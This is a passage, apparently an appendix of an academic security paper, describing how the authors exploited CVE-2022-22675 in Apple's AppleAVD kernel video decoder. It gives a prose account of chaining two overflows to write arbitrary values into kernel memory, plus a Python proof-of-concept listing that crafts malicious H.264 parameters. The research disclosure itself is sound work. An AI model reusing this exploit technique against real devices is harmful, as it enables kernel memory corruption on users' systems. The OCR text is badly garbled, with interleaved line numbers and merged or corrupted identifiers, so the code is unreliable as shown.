hardware context will need to be trusted, whether it is in the [10]
kernel or not. It may be worthwhile to rewrite this software
component in a memory-safe language, such as the cros-
codecs’® effort, or to apply formal veri cation techniques to (1]
it.

An orthogonal direction for progress, albeit one that will
require the support of media IP vendors, would redesign the
software—hardware interface to simplify it. The Linux push
for stateless hardware video decoddrd] s a step in this
direction. Similarly, encoders that produce outputs that are [13]
software-decoder friendly, such as some AV1 encod#ifs [
help reduce the expected complexity of video decoders.

9]

[12]

(14]
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A More details on CVE-2022-22675

This section provides more details on how we controlled the
second over ow in our proof-of-concept video for CVE-2022-
22675. Listing? shows the nal transform.

We enable a second over ow jparsePredWeightTable
by overwriting num_ref_idx_I0_active_minusl with
CVE-2022-22675. The functioparsePredWeightTable
loops from O tonum_ref_idx_I0_active_minusl , check-
ing a luma or chroma ag at each instance to determine
whether to parse the syntax elemelnima_weight, luma_
offset , chroma_weight andchroma_offset when the re-
spective ag is set. The H.264 User Context maintains eight
lists of typeuintl6 : for both reference lists, it has arrays
of length 16 foluma_weight andluma_offset , and arrays
of length 32 forchroma_weightandchroma_offset . For
each syntax element, AppleAVD.kext will exp-Golomb de-
code it, store the recovered value in the H.264 User Context,
and then check to see if it is in the range [0,255].

We found that irparsePredWeightTable, the overwritten
8-bitnum_ref_idx_I0_active_minusl is sign-extended to
32-bits. This means that setting it to a value larger than 127
leads to auint32 loop bound of at least 4,294,967,040! If
the encoded bitstream is exhausted without failure, then the
bitstream reader will return a bit string of all 1s which exp-
Golomb decode to 0. This is within the bounds for each syntax
element, and thus the loop will continue until the entire kernel
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if the decoder encounters a luma/chroma weight or offset
outside the expected bounds, it rst stores the out-of-bounds
weight or offset as normal and then it exits the loop, emits an
error message, and continues to the next NALU.

Therefore, to escape the 32-bit sign extended loop, we
encode a weight or offset elemeBt in the range [256,
65535] at the point we would like to target. To do so, we



need to enable the luma and chroma ags and Il in the cor- .
respondinguma_weight, luma_offset , chroma_weight,

and chroma_offset entries. The ags are decoded and

43

44

checked on each loop, so we include an encoding of the ags:s
in the generated bitstream. When the ags are set to true, wes

can write values in the range [0, 255] without exiting early.
When they are set to false, AppleAVD.kext writes a default

4
4

©® N

4
50

value at those locations. Either way, intermediate memory up -
to our target is modi ed. Because the ags must be checked -
on each loop, the slice header size is proportional to the target:
offset. In all, writing an arbitrary sequence of 16-bit values to -

memory requires slices forn larger-than-255 values, with

smaller values written by enabling intermediate ags.

When using multiple slices for multiple writes, each
slice must be within an IDR NALU, as the out-of-bounds

58
59
60
61
62
63

64
65

luma/chroma offset/weight is treated as a decoding error, and::

the decoder uses IDR NALUSs for recovery. We adjust the

68

slices using the same technique we used for the in nite loop
bug discussed in Sectidn. "’

Listing 2: CVE-2022-22675 video transform.

1 def cve_2022_22675(ds, message):
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16
17
18
19
20
21
22
23
24
25

39

40

41

from helpers import new_vui_parameter, new_hrd_parameter,
clone_and_append_existing_slice
import math

# This is the offset from the start of the context

# Object size is 0x8642b0

# Allocated size is 0x868000

offset = 0x868000

# Keep this even with no short in the range [0x0000, 0x007f]
message_hex ='deadbeef41414141"

message_snippets =ifit(message_hex[i:i+4], 16)for i in range(0, len(
message_hex), 4)][:: 1]

print(“\t Writing O0x{} at furthest offset location Ox{:x}" format(
message_hex, offset))

HiHHH#
# Step 1. Use parseHRD overwrite to change the default num_idx value
HitH##

# We need this flag enabled to go into second overwrite
ds["ppses"][0][ "weighted_pred_flag] = True

# Prepare our overwriting SPS

sps_idx = 1# We target the 2nd SPS

cpb_cnt_minusl = 68%# This value is limited to 255; we set it to 68 for
targeting

ref_idx_overwrite_idx = 68# First index where we overwrite the
num_ref_idx_l0_default_active_minus1l

num_ref_idx_payload = 0xff

ds["spses'][sps_idx]["seq_parameter_set_id"= 31
ds["spses'|[sps_idx]["vui_parameters_present_flag"= True
ds["spses'|[sps_idx]["vui_parameters] = new_vui_parameter ()

# To maximize our overwrite, we focus on VCL HRD parametersiven it is
closest to the end of the object

ds["spses'|[sps_idx]["vui_parameters]["vcl_hrd_parameters_present_fla}
True

ds["spses'][sps_idx]["vui_parameters]["vcl_hrd_parameters]' =
new_hrd_parameter ()

ds["spses'][sps_idx]["vui_parameters]["vcl_hrd_parameters]["
cpb_cnt_minusl] = cpb_cnt_minusl

# Fill up with junk and we will write over what values matter

ds["spses'|[sps_idx]["vui_parameters]["vcl_hrd_parameters]["

bit_rate_value_minus1]' = [i for i in range(cpb_cnt_minusl+1)]
ds["spses'[sps_idx]["vui_parametersI[ “vcl_hrd_parameters]["
cpb_size_values_minus]"= [i + cpb_cnt_minusl+1for i in range(

cpb_cnt_minus1+1)]
ds["spses'][sps_idx]["vui_parameters]["vcl_hrd_parameters]["cbr_flag"] =

[False] » (cpb_cnt_minusl+1)
ds["spses'][sps_idx]["vui_parameters]["vcl_hrd_parameters]["cbr_flag"][

ref_idx_overwrite_idx 5] = True # PPS Entropy encoding

71

72
73
74
75
76
77
78

79
80
81

82
83
84

86
87
88
89
90
91
92
93

94

95
96

pps_tgt_payload0 = num_ref_idx_payload << ¥6 bottom byte is
num_ref_idx_l0_default_active_minus1l

pps_tgt_payload0 |= num_ref_idx_payload <<#8top byte is
num_ref_idx_I1_default_active_minusl

pps_tgt_payload0 |=int(ds["ppses'][0][ "weighted_pred_flag]) << 24 # value
is a byte

ds["spses'|[sps_idx]["vui_parameters]["vcl_hrd_parameters]["
cpb_size_values_minus][ref_idx_overwrite_idx] = pps_tgt_payload0

H#HtHHH
# Step 2. Prepare for our second overwrite in pred_weighbleéadecoding
#iHFH##

# Set all slices to IDR slices to avoid "missing Keyframe" err
for i in range(len(ds["nalu_headers])):
if ds["nalu_headers][i][ "nal_unit_type'] == 1:
ds["nalu_headers][i][ "nal_unit_type' = 5

print("\'t Need {} P slices to write the message Ox{}'format(len(
message_snippets), message_hex))

nalu_idx = 4 # Our video is SPS, PPS, SPS, |, P so we copy index 4
slice_idx = 1# We want the P slice to be copied
while len(ds["slices"]) <= len(message_snippets):

ds = clone_and_append_existing_slice(ds, nalu_idx, elibdx)

#HHHHT
# Step 3. Modify relevant slices to write our target message
#H#HHH
for i in range(l, len(ds["slices"])):
ds["slices"][i][ "sh"]["num_ref_idx_active_override_flaq"= False
avcusercontext_offset = offse# This will write right next to our
previous write
offset_from_slice = avcusercontext_offset
the start of the Slice offset
chroma_offset_overwrite_num = (offset_from_slice
the offset from the start of the slice;
slice_num_ref_idx_payload = chroma_offset_overwriteern + (1 i)/2 + int(
math. ceil (en(message_hex)/8.0))

0x374d4 this constant is

0x@p/4 # 0x206 is

# If we have an odd number of short types we want to write,

# and if we re writing the lower end of bytes, we need to

# slightly recalibrate where we write

if len(ds["slices"]) % 2 == 0 and i % 2 ==
slice_num_ref_idx_payload =1

ds["slices"][i][ "sh"]["num_ref_idx_l0_active_minus1]" =
slice_num_ref_idx_payload

ds["slices"][i][ "sh"]["luma_log2_weight_denom]"' =

ds["slices"][i][ "sh"]["chroma_log2_weight_denoni"

ds["slices"][i][ "sh"][ "luma_weight_I0_flag] = [Fals
slice_num_ref_idx_payload+1)

# 1 << X is stored
0 # 1 << X is stored
el = (

0

# on the device, this is shifted by the sps.bit_depth_lumalue_minus8

ds["slices"][i][ "sh"]["luma_weight_I0" = [0] = (
slice_num_ref_idx_payload+1)

ds["slices"][i][ "sh"]["luma_offset_10" = [0] = (
slice_num_ref_idx_payload+1)

ds["slices"][i][ "sh"]["chroma_weight_|0_flag] = [False] * (
slice_num_ref_idx_payload +1)

# on the device, this is shifted by the sps.bit_depth_chromaue_minus8

ds["slices"][i][ "sh"][ "chroma_weight_I0] = [[0, O0]] = (
slice_num_ref_idx_payload+1)

ds["slices"][i][ "sh"]["chroma_offset_I0] = [[0, 0]] * (
slice_num_ref_idx_payload+1)

# The location we re overwriting

ds["slices"][i][ "sh"]["chroma_weight_I0_flag][slice_num_ref_idx_payload]
= True

ds["slices"][i][ "sh"][ "chroma_weight_I0][slice_num_ref_idx_payload] = [0
x64+i, 0x65+i]

# Our target overwrite location
if len(ds["slices"]) % 2 == 1: # We are writing an even number of shorts
if i%2==1:
ds["slices"][i][ "sh"]["chroma_offset_l0][slice_num_ref_idx_payload]
= [message_snippets[i], 0x20]
else:
ds["slices"][i][ "sh"]["chroma_offset_l0][slice_num_ref_idx_payload]
= [0x21, message_snippets[i 2]]
else: # odd number of short values
if i %2==0:
ds["slices"][i][ “sh"]["chroma_offset_I0][slice_num_ref_idx_payload]
= [0x20, message_snippets[i 1]]
ellSes
ds["slices"][i][ "sh"]["chroma_offset_l0][slice_num_ref_idx_payload]
= [message_snippets[i 1], 0x21]
return ds
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